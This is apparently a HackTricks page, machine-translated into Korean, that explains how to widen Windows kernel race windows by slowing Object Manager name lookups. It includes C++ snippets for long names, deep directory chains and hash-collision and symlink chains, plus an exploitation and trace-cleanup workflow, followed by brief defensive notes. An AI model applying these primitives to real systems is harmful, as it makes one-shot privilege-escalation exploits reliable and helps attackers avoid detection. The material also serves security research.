Kernel Race Condition Exploitation via Object Manager Slow Paths

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋ ˆ์ด์Šค ์ฐฝ์„ ๋Š˜๋ฆฌ๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•œ ์ด์œ 

๋งŽ์€ Windows kernel LPE๋Š” ๊ณ ์ „์ ์ธ ํŒจํ„ด check_state(); NtOpenX("name"); privileged_action();์„ ๋”ฐ๋ฆ…๋‹ˆ๋‹ค. ์ตœ์‹  ํ•˜๋“œ์›จ์–ด์—์„œ ์ฝœ๋“œ NtOpenEvent/NtOpenSection๋Š” ์งง์€ ์ด๋ฆ„์„ ์•ฝ 2โ€ฏยตs ์•ˆ์— ํ•ด์„ํ•˜๋ฏ€๋กœ, ๋ณด์•ˆ ๋™์ž‘์ด ์‹คํ–‰๋˜๊ธฐ ์ „์— ๊ฒ€์‚ฌ๋œ ์ƒํƒœ๋ฅผ ๋ณ€๊ฒฝํ•  ๊ฑฐ์˜ ์‹œ๊ฐ„์ด ๋‚จ์ง€ ์•Š์Šต๋‹ˆ๋‹ค. 2๋‹จ๊ณ„์˜ Object Manager Namespace (OMNS) ์กฐํšŒ๋ฅผ ์ˆ˜์‹ญ ๋งˆ์ดํฌ๋กœ์ดˆ๋กœ ์˜๋„์ ์œผ๋กœ ์ง€์—ฐ์‹œํ‚ค๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ์ˆ˜์ฒœ ๋ฒˆ ์‹œ๋„ํ•  ํ•„์š” ์—†์ด ์ผ๊ด€๋˜๊ฒŒ ๋ถˆ์•ˆ์ •ํ•œ ๋ ˆ์ด์Šค์—์„œ ์Šน๋ฆฌํ•  ์ถฉ๋ถ„ํ•œ ์‹œ๊ฐ„์„ ํ™•๋ณดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Object Manager lookup ๋‚ด๋ถ€ ๋™์ž‘(์š”์•ฝ)

  • OMNS ๊ตฌ์กฐ โ€“ \BaseNamedObjects\Foo์™€ ๊ฐ™์€ ์ด๋ฆ„์€ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ณ„๋กœ ์ˆœ์ฐจ์ ์œผ๋กœ ํ•ด์„๋ฉ๋‹ˆ๋‹ค. ๊ฐ ๊ตฌ์„ฑ ์š”์†Œ๋งˆ๋‹ค ์ปค๋„์€ Object Directory๋ฅผ ์ฐพ๊ฑฐ๋‚˜ ์—ด๊ณ  Unicode ๋ฌธ์ž์—ด์„ ๋น„๊ตํ•ฉ๋‹ˆ๋‹ค. ์‹ฌ๋ณผ๋ฆญ ๋งํฌ(์˜ˆ: ๋“œ๋ผ์ด๋ธŒ ๋ฌธ์ž)๊ฐ€ ๊ฒฝ๋กœ ์ƒ์—์„œ ๋”ฐ๋ผ๊ฐˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • UNICODE_STRING limit โ€“ OM ๊ฒฝ๋กœ๋Š” Length๊ฐ€ 16๋น„ํŠธ ๊ฐ’์ธ UNICODE_STRING ์•ˆ์— ๋‹ด๊น๋‹ˆ๋‹ค. ์ ˆ๋Œ€ ํ•œ๊ณ„๋Š” 65โ€ฏ535 ๋ฐ”์ดํŠธ(32โ€ฏ767 UTF-16 ์ฝ”๋“œํฌ์ธํŠธ)์ž…๋‹ˆ๋‹ค. \BaseNamedObjects\ ๊ฐ™์€ ์ ‘๋‘์‚ฌ๋ฅผ ๊ณ ๋ คํ•ด๋„ ๊ณต๊ฒฉ์ž๋Š” ์—ฌ์ „ํžˆ โ‰ˆ32โ€ฏ000 ๋ฌธ์ž๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Attacker prerequisites โ€“ ๋ชจ๋“  ์‚ฌ์šฉ์ž๋Š” \BaseNamedObjects ๊ฐ™์€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ ์•„๋ž˜์— ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ทจ์•ฝํ•œ ์ฝ”๋“œ๊ฐ€ ๊ทธ ์•ˆ์˜ ์ด๋ฆ„์„ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ๊ทธ๊ณณ์œผ๋กœ ์—ฐ๊ฒฐ๋˜๋Š” ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๋”ฐ๋ผ๊ฐ€๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ํŠน๊ถŒ ์—†์ด๋„ ์กฐํšŒ ์„ฑ๋Šฅ์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Slowdown primitive #1 โ€“ Single maximal component

๊ตฌ์„ฑ ์š”์†Œ๋ฅผ ํ•ด์„ํ•˜๋Š” ๋น„์šฉ์€ ๊ธธ์ด์— ๊ฑฐ์˜ ์„ ํ˜•์ ์œผ๋กœ ์ฆ๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ์ด์œ ๋Š” ์ปค๋„์ด ๋ถ€๋ชจ ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ๋ชจ๋“  ํ•ญ๋ชฉ์— ๋Œ€ํ•ด Unicode ๋น„๊ต๋ฅผ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์ด๋ฆ„ ๊ธธ์ด๊ฐ€ 32โ€ฏkB์ธ ์ด๋ฒคํŠธ๋ฅผ ์ƒ์„ฑํ•˜๋ฉด NtOpenEvent์˜ ์ง€์—ฐ์ด ์ฆ‰์‹œ ์•ฝ 2โ€ฏยตs์—์„œ ์•ฝ 35โ€ฏยตs๋กœ ์ฆ๊ฐ€ํ•ฉ๋‹ˆ๋‹ค (Windows 11 24H2, Snapdragon X Elite testbed).

std::wstring path;
while (path.size() <= 32000) {
auto result = RunTest(L"\\BaseNamedObjects\\A" + path, 1000);
printf("%zu,%f\n", path.size(), result);
path += std::wstring(500, 'A');
}

์‹ค์šฉ์ ์ธ ๋…ธํŠธ

  • ์ž„์˜์˜ named kernel object (events, sections, semaphoresโ€ฆ)๋ฅผ ์‚ฌ์šฉํ•ด ๊ธธ์ด ์ œํ•œ์— ๋„๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Symbolic links ๋˜๋Š” reparse points๋Š” ์งง์€ โ€œvictimโ€ ์ด๋ฆ„์„ ์ด ๊ฑฐ๋Œ€ํ•œ ์ปดํฌ๋„ŒํŠธ๋กœ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ํ•˜์—ฌ slowdown์ด ํˆฌ๋ช…ํ•˜๊ฒŒ ์ ์šฉ๋˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋ชจ๋“  ๊ฒƒ์ด user-writable namespaces์— ์กด์žฌํ•˜๊ธฐ ๋•Œ๋ฌธ์—, payload๋Š” standard user integrity level์—์„œ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.

Slowdown primitive #2 โ€“ Deep recursive directories

๋” ๊ณต๊ฒฉ์ ์ธ ๋ณ€ํ˜•์€ ์ˆ˜์ฒœ ๊ฐœ์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ ์ฒด์ธ(\BaseNamedObjects\A\A\...\X)์„ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ํ™‰์€ directory resolution logic (ACL checks, hash lookups, reference counting)์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋ฏ€๋กœ, ๋ ˆ๋ฒจ๋‹น ์ง€์—ฐ ์‹œ๊ฐ„์€ ๋‹จ์ผ ๋ฌธ์ž์—ด ๋น„๊ต๋ณด๋‹ค ํฝ๋‹ˆ๋‹ค. ๋™์ผํ•œ UNICODE_STRING ํฌ๊ธฐ๋กœ ์ œํ•œ๋˜๋Š” ์•ฝ ~16โ€ฏ000 ๋ ˆ๋ฒจ์—์„œ ๊ฒฝํ—˜์  ํƒ€์ด๋ฐ์€ ๊ธด ๋‹จ์ผ ์ปดํฌ๋„ŒํŠธ๋กœ ๋‹ฌ์„ฑ๋œ 35โ€ฏยตs ์žฅ๋ฒฝ์„ ์ดˆ๊ณผํ•ฉ๋‹ˆ๋‹ค.

ScopedHandle base_dir = OpenDirectory(L"\\BaseNamedObjects");
HANDLE last_dir = base_dir.get();
std::vector<ScopedHandle> dirs;
for (int i = 0; i < 16000; i++) {
dirs.emplace_back(CreateDirectory(L"A", last_dir));
last_dir = dirs.back().get();
if ((i % 500) == 0) {
auto result = RunTest(GetName(last_dir) + L"\\X", iterations);
printf("%d,%f\n", i + 1, result);
}
}

ํŒ:

  • ๋ถ€๋ชจ ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ์ค‘๋ณต์„ ๊ฑฐ๋ถ€ํ•˜๊ธฐ ์‹œ์ž‘ํ•˜๋ฉด ๊ฐ ๋ ˆ๋ฒจ๋งˆ๋‹ค ๋ฌธ์ž(A/B/C/...)๋ฅผ ๋ฒˆ๊ฐˆ์•„ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ํ•ธ๋“ค ๋ฐฐ์—ด์„ ์œ ์ง€ํ•˜์—ฌ exploitation ํ›„ ์ฒด์ธ์„ ๊น”๋”ํ•˜๊ฒŒ ์‚ญ์ œํ•ด ๋„ค์ž„์ŠคํŽ˜์ด์Šค ์˜ค์—ผ์„ ๋ฐฉ์ง€ํ•˜์„ธ์š”.

Object directories๋Š” shadow directories (fallback lookups)์™€ ์—”ํŠธ๋ฆฌ๋ฅผ ์œ„ํ•œ bucketed hash tables๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ๋‘˜๊ณผ 64-component symbolic-link reparse limit์„ ์•…์šฉํ•ด UNICODE_STRING ๊ธธ์ด๋ฅผ ์ดˆ๊ณผํ•˜์ง€ ์•Š์œผ๋ฉด์„œ slowdown์„ ๊ณฑ์…ˆํ•˜์„ธ์š”:

  1. \BaseNamedObjects ์•„๋ž˜์— ๋‘ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•˜์„ธ์š”. ์˜ˆ: A (shadow) ๋ฐ A\A (target). ๋‘ ๋ฒˆ์งธ๋Š” ์ฒซ ๋ฒˆ์งธ๋ฅผ shadow directory๋กœ ์ง€์ •ํ•˜์—ฌ(NtCreateDirectoryObjectEx) ์ƒ์„ฑํ•˜์„ธ์š”. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด A์—์„œ ํ•ญ๋ชฉ์ด ์—†์„ ๋•Œ lookup์ด A\A๋กœ ์ด์–ด์ง‘๋‹ˆ๋‹ค.
  2. ๊ฐ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๋™์ผํ•œ ํ•ด์‹œ ๋ฒ„ํ‚ท์— ๋“ค์–ด๊ฐ€๋Š” ์ˆ˜์ฒœ ๊ฐœ์˜ colliding names๋กœ ์ฑ„์šฐ์„ธ์š”(์˜ˆ: ๋™์ผํ•œ RtlHashUnicodeString ๊ฐ’์„ ์œ ์ง€ํ•˜๋ฉด์„œ ๋์ž๋ฆฌ ์ˆซ์ž๋งŒ ๋ณ€๊ฒฝ). ์ด ๊ฒฝ์šฐ lookup์€ ๋‹จ์ผ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด์—์„œ O(n) ์„ ํ˜• ์Šค์บ”์œผ๋กœ ์ €ํ•˜๋ฉ๋‹ˆ๋‹ค.
  3. ์•ฝ 63๊ฐœ์˜ object manager symbolic links ์ฒด์ธ์„ ๋งŒ๋“ค์–ด ๋ฐ˜๋ณต์ ์œผ๋กœ ๊ธด A\A\โ€ฆ ์ ‘๋ฏธ์‚ฌ๋กœ reparse์‹œ์ผœ reparse budget์„ ์†Œ๋ชจํ•˜์„ธ์š”. ๊ฐ reparse๋Š” ํŒŒ์‹ฑ์„ ์ฒ˜์Œ๋ถ€ํ„ฐ ๋‹ค์‹œ ์‹œ์ž‘ํ•ด collision ๋น„์šฉ์„ ์ฆ๊ฐ€์‹œํ‚ต๋‹ˆ๋‹ค.
  4. ์ตœ์ข… ์ปดํฌ๋„ŒํŠธ(...\\0)์— ๋Œ€ํ•œ lookup์€ ๊ฐ ๋””๋ ‰ํ„ฐ๋ฆฌ์— 16โ€ฏ000๊ฐœ์˜ collisions๊ฐ€ ์žˆ์„ ๋•Œ Windows 11์—์„œ ์ด์ œ ๋ถ„ ๋‹จ์œ„๊ฐ€ ๋˜์–ด, one-shot kernel LPEs์—์„œ ์‚ฌ์‹ค์ƒ ๋ณด์žฅ๋œ race ์Šน๋ฆฌ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
ScopedHandle shadow = CreateDirectory(L"\\BaseNamedObjects\\A");
ScopedHandle target = CreateDirectoryEx(L"A", shadow.get(), shadow.get());
CreateCollidingEntries(shadow, 16000, dirs);
CreateCollidingEntries(target, 16000, dirs);
CreateSymlinkChain(shadow, LongSuffix(L"\\A", 16000), 63);
printf("%f\n", RunTest(LongSuffix(L"\\A", 16000) + L"\\0", 1));

์ค‘์š”ํ•œ ์ด์œ : ๋ช‡ ๋ถ„์— ๊ฑธ์นœ ์ง€์—ฐ์€ one-shot race-based LPEs๋ฅผ ๊ฒฐ์ •์  exploits๋กœ ๋ฐ”๊ฟ‰๋‹ˆ๋‹ค.

race window ์ธก์ •ํ•˜๊ธฐ

exploit ๋‚ด๋ถ€์— ๊ฐ„๋‹จํ•œ ํ•˜๋‹ˆ์Šค ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ํ”ผํ•ด์ž ํ•˜๋“œ์›จ์–ด์—์„œ ์œˆ๋„์šฐ๊ฐ€ ์–ผ๋งˆ๋‚˜ ์ปค์ง€๋Š”์ง€ ์ธก์ •ํ•˜์„ธ์š”. ์•„๋ž˜ ์Šค๋‹ˆํŽซ์€ ๋Œ€์ƒ ์˜ค๋ธŒ์ ํŠธ๋ฅผ iterations๋ฒˆ ์—ด๊ณ  QueryPerformanceCounter๋ฅผ ์‚ฌ์šฉํ•ด ๊ฐœ๋ณ„ ์—ด๊ธฐ๋‹น ํ‰๊ท  ๋น„์šฉ์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

static double RunTest(const std::wstring name, int iterations,
std::wstring create_name = L"", HANDLE root = nullptr) {
if (create_name.empty()) {
create_name = name;
}
ScopedHandle event_handle = CreateEvent(create_name, root);
ObjectAttributes obja(name);
std::vector<ScopedHandle> handles;
Timer timer;
for (int i = 0; i < iterations; ++i) {
HANDLE open_handle;
Check(NtOpenEvent(&open_handle, MAXIMUM_ALLOWED, &obja));
handles.emplace_back(open_handle);
}
return timer.GetTime(iterations);
}

The results feed directly into your race orchestration strategy (e.g., number of worker threads needed, sleep intervals, how early you need to flip the shared state).

Exploitation workflow

  1. Locate the vulnerable open โ€“ ์นด๋„ ๊ฒฝ๋กœ๋ฅผ ์ถ”์ ํ•ฉ๋‹ˆ๋‹ค (symbols, ETW, hypervisor tracing, ๋˜๋Š” reversing ์‚ฌ์šฉ). ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ด๋ฆ„์ด๋‚˜ user-writable ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ symbolic link๋ฅผ ์ˆœํšŒํ•˜๋Š” NtOpen*/ObOpenObjectByName ํ˜ธ์ถœ์„ ์ฐพ์œผ์„ธ์š”.
  2. Replace that name with a slow path
  • \BaseNamedObjects(๋˜๋Š” ๋‹ค๋ฅธ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ OM ๋ฃจํŠธ) ์•„๋ž˜์— ๊ธด ์ปดํฌ๋„ŒํŠธ ๋˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ ์ฒด์ธ์„ ๋งŒ๋“ญ๋‹ˆ๋‹ค.
  • ์ปค๋„์ด ๊ธฐ๋Œ€ํ•˜๋Š” ์ด๋ฆ„์ด ์ด์ œ ๋А๋ฆฐ ๊ฒฝ๋กœ๋กœ ํ•ด์„๋˜๋„๋ก symbolic link๋ฅผ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ์›๋ž˜ ๋Œ€์ƒ์€ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ  ์ทจ์•ฝ ๋“œ๋ผ์ด๋ฒ„์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ ์กฐํšŒ๋ฅผ ์—ฌ๋Ÿฌ๋ถ„์˜ ๊ตฌ์กฐ๋กœ ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  1. Trigger the race
  • Thread A (victim)๋Š” ์ทจ์•ฝ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ๋А๋ฆฐ ์กฐํšŒ ์•ˆ์—์„œ ๋ธ”๋ก๋ฉ๋‹ˆ๋‹ค.
  • Thread B (attacker)๋Š” Thread A๊ฐ€ ๋ฐ”์œ ๋™์•ˆ guarded state๋ฅผ ๋’ค์ง‘์Šต๋‹ˆ๋‹ค(์˜ˆ: ํŒŒ์ผ ํ•ธ๋“ค ๊ต์ฒด, symbolic link ์žฌ์ž‘์„ฑ, ๊ฐ์ฒด ๋ณด์•ˆ ํ† ๊ธ€).
  • Thread A๊ฐ€ ์žฌ๊ฐœ๋˜์–ด ๊ถŒํ•œ ์žˆ๋Š” ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•  ๋•Œ, ์˜ค๋ž˜๋œ(stale) ์ƒํƒœ๋ฅผ ๊ด€์ฐฐํ•˜๊ณ  ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  1. Clean up โ€“ ์˜์‹ฌ์Šค๋Ÿฌ์šด ํ”์ ์„ ๋‚จ๊ธฐ๊ฑฐ๋‚˜ ์ •์ƒ์ ์ธ IPC ์‚ฌ์šฉ์ž๋ฅผ ๊นจ๋œจ๋ฆฌ์ง€ ์•Š๋„๋ก ๋””๋ ‰ํ„ฐ๋ฆฌ ์ฒด์ธ๊ณผ symbolic link๋ฅผ ์‚ญ์ œํ•ฉ๋‹ˆ๋‹ค.

Operational considerations

  • Combine primitives โ€“ ๋””๋ ‰ํ„ฐ๋ฆฌ ์ฒด์ธ์˜ ๊ฐ ๋ ˆ๋ฒจ๋งˆ๋‹ค ๊ธด ์ด๋ฆ„์„ ์‚ฌ์šฉํ•˜๋ฉด UNICODE_STRING ํฌ๊ธฐ๋ฅผ ์†Œ์ง„ํ•  ๋•Œ๊นŒ์ง€ ์ง€์—ฐ ์‹œ๊ฐ„์„ ๋” ๋Š˜๋ฆด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • One-shot bugs โ€“ ํ™•์žฅ๋œ ์œˆ๋„์šฐ(์ˆ˜์‹ญ ๋งˆ์ดํฌ๋กœ์ดˆ์—์„œ ์ˆ˜๋ถ„)๋Š” CPU affinity ๊ณ ์ •์ด๋‚˜ hypervisor-assisted preemption๊ณผ ๊ฒฐํ•ฉํ•˜๋ฉด โ€œํ•œ ๋ฒˆ์˜ ํŠธ๋ฆฌ๊ฑฐโ€ ๋ฒ„๊ทธ๋ฅผ ํ˜„์‹ค์ ์œผ๋กœ ๋งŒ๋“ญ๋‹ˆ๋‹ค.
  • Side effects โ€“ ๋А๋ ค์ง€๋Š” ํšจ๊ณผ๋Š” ์•…์˜์ ์ธ ๊ฒฝ๋กœ์—๋งŒ ๊ตญํ•œ๋˜๋ฏ€๋กœ ์ „์ฒด ์‹œ์Šคํ…œ ์„ฑ๋Šฅ์—๋Š” ์˜ํ–ฅ์„ ๊ฑฐ์˜ ์ฃผ์ง€ ์•Š์Šต๋‹ˆ๋‹ค; ๋ฐฉ์–ด์ž๋Š” namespace ์ฆ๊ฐ€๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์ง€ ์•Š์œผ๋ฉด ๊ฑฐ์˜ ๋ˆˆ์น˜์ฑ„์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค.
  • Cleanup โ€“ ๋งŒ๋“  ๋ชจ๋“  ๋””๋ ‰ํ„ฐ๋ฆฌ/๊ฐ์ฒด์— ๋Œ€ํ•œ ํ•ธ๋“ค์„ ์œ ์ง€ํ•˜์—ฌ ์ดํ›„ NtMakeTemporaryObject/NtClose๋ฅผ ํ˜ธ์ถœํ•˜์„ธ์š”. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ๋ฌดํ•œํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ ์ฒด์ธ์ด ์žฌ๋ถ€ํŒ… ํ›„์—๋„ ๋‚จ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Defensive notes

  • named objects์— ์˜์กดํ•˜๋Š” kernel ์ฝ”๋“œ๋Š” open ์ดํ›„์— ๋ณด์•ˆ์— ๋ฏผ๊ฐํ•œ ์ƒํƒœ๋ฅผ ์žฌ๊ฒ€์ฆํ•˜๊ฑฐ๋‚˜(๋˜๋Š” ์ฒดํฌ ์ „์— ๋ ˆํผ๋Ÿฐ์Šค๋ฅผ ํ™•๋ณด) TOCTOU ๊ฒฉ์ฐจ๋ฅผ ๋ฉ”์›Œ์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • user-controlled ์ด๋ฆ„์„ ์—ญ์ฐธ์กฐ(dereference)ํ•˜๊ธฐ ์ „์— OM ๊ฒฝ๋กœ ๊นŠ์ด/๊ธธ์ด์— ๋Œ€ํ•œ ์ƒํ•œ์„ ๊ฐ•์ œํ•˜์„ธ์š”. ์ง€๋‚˜์น˜๊ฒŒ ๊ธด ์ด๋ฆ„์„ ๊ฑฐ๋ถ€ํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ๋งˆ์ดํฌ๋กœ์ดˆ ์ฐฝ์œผ๋กœ ๋‹ค์‹œ ๋ฐ€๋ ค๋‚ฉ๋‹ˆ๋‹ค.
  • ๊ฐ์ฒด ๊ด€๋ฆฌ์ž ๋„ค์ž„์ŠคํŽ˜์ด์Šค์˜ ์„ฑ์žฅ(ETW Microsoft-Windows-Kernel-Object)์„ ๊ณ„์ธกํ•˜์—ฌ \BaseNamedObjects ์•„๋ž˜ ์ˆ˜์ฒœ ๊ฐœ ์ปดํฌ๋„ŒํŠธ ์ฒด์ธ ๊ฐ™์€ ์˜์‹ฌ์Šค๋Ÿฌ์šด ์ฆ๊ฐ€๋ฅผ ํƒ์ง€ํ•˜์„ธ์š”.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ